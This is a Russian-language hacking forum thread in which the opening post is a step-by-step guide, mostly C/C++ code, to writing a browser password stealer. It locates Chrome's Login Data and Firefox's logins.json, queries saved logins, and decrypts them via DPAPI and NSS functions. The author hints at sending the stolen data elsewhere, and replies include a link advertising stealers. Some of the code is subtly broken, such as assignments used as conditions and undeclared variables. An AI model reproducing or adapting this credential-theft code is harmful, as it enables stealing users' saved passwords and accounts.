Загрузка...

Гайдик для новичков о том как писать *******ы

Тема в разделе C/C++ создана пользователем ВзломалИнтернет 9 июл 2025. 408 просмотров

  1. ВзломалИнтернет
    ВзломалИнтернет Автор темы 9 июл 2025 Заблокирован(а) 237 17 ноя 2019
    ******* для Chrome
    Сразу хочу заметить, что описанный метод подходит лишь для предыдущих версий Chrome. В актульных версиях шифрование aes256 для данных. Поэтому можете воспринимать этот материал для общепознавательных целей. (Тут нет готового кода для *******ов, только информация)

    Начнем с браузера Google Chrome. Для начала давайте получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

    C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data
    Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

    Давайте напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome):

    C
    #define CHROME_DB_PATH  "\\Google\\Chrome\\User Data\\Default\\Login Data"

    bool get_browser_path(char * db_loc, int browser_family, const char * location) {

    memset(db_loc, 0, MAX_PATH);

    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {

    return 0;

    }

    if (browser_family = 0) {

    lstrcat(db_loc, TEXT(location));

    return 1;

    }

    }
    Вызов функции:

    char browser_db[MAX_PATH];
    get_browser_path(browser_db, 0, CHROME_DB_PATH);

    Давай, вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

    Если условие browser_family = 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family = 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. После этого мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:

    #define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)

    Функция SHGetFolderPath уже устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема кроется в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

    HRESULT SHGetFolderPath(
    HWND hwndOwner,
    int nFolder,
    HANDLE hToken,
    DWORD dwFlags,
    LPTSTR pszPath
    );

    После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

    База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это База данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давайте скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера:

    int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
    if (!status) {
    // return 0;
    }

    Теперь подключаемся к базе командой sqlite3_open_v2. Её прототип:

    C
    int sqlite3_open_v2(

    const char *filename, /* Database filename (UTF-8) */

    sqlite3 **ppDb, /* OUT: SQLite db handle */

    int flags, /* Flags */

    const char *zVfs /* Name of VFS module to use */

    );
    Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки:

    C
    sqlite3 *sql_browser_db = NULL;

    status = sqlite3_open_v2(TEMP_DB_PATH,

    &sql_browser_db,

    SQLITE_OPEN_READONLY,

    NULL);

    if(status != SQLITE_OK) {

    sqlite3_close(sql_browser_db);

    DeleteFile(TEXT(TEMP_DB_PATH));

    }
    Обратите внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.

    Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec():

    status = sqlite3_exec(sql_browser_db,
    "SELECT origin_url, username_value, password_value FROM logins",
    crack_chrome_db,
    sql_browser_db,
    &err);
    if (status != SQLITE_OK)
    return 0;
    Эта функция имеет такой прототип:

    int sqlite3_exec(
    sqlite3*, /* An open database */
    const char *sql, /* SQL to be evaluated */
    int (*callback)(void*,int,char**,char**), /* Callback function */
    void *, /* 1st argument to callback */
    char **errmsg /* Error msg written here */
    );
    Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.

    Давайте остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет использоваться к каждой строке из выборки нашего запроса SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:

    int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {

    DATA_BLOB data_decrypt, data_encrypt;
    sqlite3 *in_db = (sqlite3*)db_in;
    BYTE *blob_data = NULL;
    sqlite3_blob *sql_blob = NULL;

    char *passwds = NULL;

    while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );
    В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB:

    int sz_blob;
    int result;

    sz_blob = sqlite3_blob_bytes(sql_blob);
    dt_blob = (BYTE *)malloc(sz_blob);

    if (!dt_blob) {
    sqlite3_blob_close(sql_blob);
    sqlite3_close(in_db);
    }

    data_encrypt.pbData = dt_blob;
    data_encrypt.cbData = sz_blob;
    А теперь приступим непосредственно к дешифровке паролей. база данных Chrome зашифрована механизмом Data Protection Application Programming Interface (DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя вытащить базу данных паролей, а потом расшифровать ее уже на своем компьютере (об этом мы писали в статье «Где в Chrome хранятся пароли»). Для расшифровки данных нам потребуется функция CryptUnprotectData:

    C
    DPAPI_IMP BOOL CryptUnprotectData(

    DATA_BLOB *pDataIn,

    LPWSTR *ppszDataDescr,

    DATA_BLOB *pOptionalEntropy,

    PVOID pvReserved,

    CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,

    DWORD dwFlags,

    DATA_BLOB *pDataOut

    );

    if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {

    free(dt_blob);

    sqlite3_blob_close(sql_blob);

    sqlite3_close(in_db);

    }
    После этого выделяем память и заполняем массив passwds расшифрованными данными:

    passwds = ( char *)malloc(data_decrypt.cbData + 1);
    memset(passwds, 0, data_decrypt.cbData);

    int xi = 0;
    while (xi < data_decrypt.cbData) {
    passwds[xi] = (char)data_decrypt.pbData[xi];
    ++xi;
    }
    Собственно, на этом всё! После этого passwds будет содержать учетные записи пользователей и URL. Можно эту информацию вывести на экран или сохранить в файл. Ну или отправить куда-нибудь. Но об этом мы поговорим в другой раз.

    ******* для Firefox
    Переходим к Firefox. Тут всё будет немного посложнее. Для начала давайте получим путь до базы данных паролей Firefox. Помните, в нашей универсальной функции get_browser_path мы передавали параметр browser_family? В случае Chrome он был равен нулю, а для Firefox установим 1:

    bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    ...
    if (browser_family = 1) {
    memset(db_loc, 0, MAX_PATH);
    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
    // return 0;
    }
    В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до каталога пользователя. Дело в том, что имя каталога пользовательского профиля генерируется случайным образом. Но это не помеха, ведь известно начало пути (\\Mozilla\\Firefox\\Profiles\\). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \\logins.json«. Именно в этом файле хранятся данные логинов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде:

    C
    lstrcat(db_loc, TEXT(location));

    // Объявляем переменные

    const char * profileName = "";

    WIN32_FIND_DATA w_find_data;

    const char * db_path = db_loc;

    // Создаем маску для поиска функцией FindFirstFile

    lstrcat((LPSTR)db_path, TEXT("*"));

    // Просматриваем, нас интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY

    HANDLE gotcha = FindFirstFile(db_path, &w_find_data);

    while (FindNextFile(gotcha, &w_find_data) != 0){

    if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {

    if (strlen(w_find_data.cFileName) > 2) {

    profileName = w_find_data.cFileName;

    }

    }

    }

    // Убираем звездочку :)

    db_loc[strlen(db_loc) - 1] = '\0';

    lstrcat(db_loc, profileName);

    // Наконец, получаем нужный нам путь

    lstrcat(db_loc, "\\logins.json");

    return 1;
    В самом конце переменная db_loc, которую мы передавали в качестве аргумента в нашу функцию, содержит полный путь до файла logins.json, а функция возвращает 1, сигнализируя о том, что она отработала корректно.

    Теперь получим хендл файла паролей и выделим память под данные. Для получения хендла используем функцию CreateFile, как советует MSDN:

    DWORD read_bytes = 8192;
    DWORD lp_read_bytes;

    char *buffer = (char *)malloc(read_bytes);
    HANDLE db_file_login = CreateFileA(original_db_location,
    GENERIC_READ,
    FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
    NULL, OPEN_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

    ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);
    Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.

    Network Security Services (NSS)
    Браузер Firefox активно использует функции Network Security Services для реализации шифрования своей базы паролей. Эти функции находятся в динамической библиотеке, которая лежит по адресу:

    C:\Program Files\Mozilla Firefox\nss3.dll
    Все интересующие функции придется получать из этой DLL. Сделать это можно стандартным образом, при помощи LoadLibrary\GetProcAdress. Код однообразный и большой, поэтому я просто приведу список функций, которые нам понадобятся:

    NSS_Init;
    PL_Base64Decode;
    PK11SDR_Decrypt;
    PK11_Authenticate;
    PK11_GetInternalKeySlot;
    PK11_FreeSlot.
    Это функции инициализации механизма NSS и расшифровки данных. Давайте напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно:

    C
    char * data_uncrypt(std::string pass_str) {

    // Объявляем переменные

    SECItem crypt;

    SECItem decrypt;

    PK11SlotInfo *slot_info;

    // Выделяем память для наших данных

    char *char_dest = (char *)malloc(8192);

    memset(char_dest, NULL, 8192);

    crypt.data = (unsigned char *)malloc(8192);

    crypt.len = 8192;

    memset(crypt.data, NULL, 8192);

    // Непосредственно расшифровка функциями NSS

    PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);

    memcpy(crypt.data, char_dest, 8192);

    slot_info = PK11_GetInternalKeySlot();

    PK11_Authenticate(slot_info, TRUE, NULL);

    PK11SDR_Decrypt(&crypt, &decrypt, NULL);

    PK11_FreeSlot(slot_info);

    // Выделяем память для расшифрованных данных

    char *value = (char *)malloc(decrypt.len);

    value[decrypt.len] = 0;

    memcpy(value, decrypt.data, decrypt.len);

    return value;

    }
    Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки. Для краткости кода я буду использовать регулярные выражения и их возможности в C++ 11:

    C
    string decode_data = buffer;

    // Определяем регулярную последовательность для сайтов, логинов и паролей

    regex user("\"encryptedUsername\":\"([^\"]+)\"");

    regex passw("\"encryptedPassword\":\"([^\"]+)\"");

    regex host("\"hostname\":\"([^\"]+)\"");

    // Объявим переменную и итератор

    smatch smch;

    string::const_iterator pars(decode_data.cbegin());

    // Парсинг при помощи regex_search, расшифровка данных нашей функцией data_uncrypt

    // и вывод на экран расшифрованных данных

    do {

    printf("Site\t: %s", smch.str(1).c_str());

    regex_search(pars, decode_data.cend(), smch, user);

    printf("Login: %s", data_uncrypt(smch.str(1)));

    regex_search(pars, decode_data.cend(), smch, passw);

    printf("Pass: %s",data_uncrypt( smch.str(1)));

    pars += smch.position() + smch.length();

    } while (regex_search(pars, decode_data.cend(), smch, host));
    На этом все, сяб что дочитали
     
  2. Elena_Tihonova
    Elena_Tihonova 9 июл 2025 Лучшие ****** здесь - lolz.live/threads/8856953/ :animedance: 1179 28 июн 2019
    А кто сейчас не обновляет хром?:)

    А так, если не ии, то вкусно выглядит
     
    1. ВзломалИнтернет Автор темы
      Elena_Tihonova, ну то что описано выше инфа на 21-22 год, опять же сказал чисто инфа для того как это все работает
  3. morphosed
    morphosed 9 июл 2025 Заблокирован(а) 3620 1 ноя 2023
    Как написать ******* != пиздить куки 2ух браузеров
     
    1. ВзломалИнтернет Автор темы
      morphosed, лол, а ******* только **** пиздит? Опять же в аннотации все сказано
    2. morphosed
      ВзломалИнтернет, интересно на кого ориентирована статья, половина не разберут таких слов, информация не актуальна на данный момент, таких исходников в интернете миллион..
    3. ВзломалИнтернет Автор темы
      morphosed, бля с таким подходом в интернете есть любые исходники
  4. doublepurpose
    doublepurpose 9 июл 2025 117 27 мар 2025
    бля, лучше бы на плюсах написал. На си хардкор прям.
     
    1. 228
    2. ВзломалИнтернет Автор темы
    3. Посмотреть следующие комментарии (10)
  5. 555
    спасибо я написал принт хелло ворлд
     
  6. kappaPride
    kappaPride 9 июл 2025 винищувач перехлюповач 4502 24 сен 2019
    спасибо, но сомневаюсь, что кто-то не обновляет бравзер
     
    1. morphosed
      kappaPride, я не обновляю, жду когда меня таким *******ом опрокинут
  7. meqwxr
    meqwxr 9 июл 2025 3 27 окт 2024
    Спасибо я написал свой ******* ко мне фбр ломится
     
    9 июл 2025 Изменено
  8. WWBOB
    WWBOB 9 июл 2025 5897 29 дек 2021
    Пиздец вот так сидишь думаешь как до такого додуматься можно было.
    Какие-то английские слова, скобочки с пробелами в конечнос результате дают тебе определенную информацию
     
    9 июл 2025 Изменено
    1. WWBOB
      WWBOB, какие то ебать crypt decrypt, а че не канает написать vzlom?
  9. трагедия
    трагедия 10 июл 2025 привет, гость, как у тебя настроение? 7571 2 июн 2023
    возможно была бы интересная статья (если забыть про неактуальность информации), но, без обид, код на С абсолютно нечитаемый, это еще при том что я знаю С, так же большая часть статьи это не как работает ******, а расшифровка твоего непонятного кода. я, как человек привыкший к ооп, не понимаю зачем так напрягаться в такой простой задаче с С, если бы код был бы сильно проще, скажем, на питоне. я вообще считаю, что код должен читаться просто, даже без всяких комментариев, чтобы просто посмотрел на него и сразу понял как все работает, тут таким даже не пахнет
     
    10 июл 2025 Изменено
    1. Посмотреть предыдущие комментарии (1)
    2. трагедия
      morphosed, и чем же тебя питон не устраивает
      10 июл 2025 Изменено
    3. ВзломалИнтернет Автор темы
      трагедия, Ну спасибо за оценку, учту если буду еще писать темки такие, но *******ы на питоне это сильно)
    4. трагедия
      10 июл 2025 Изменено
Загрузка...
Top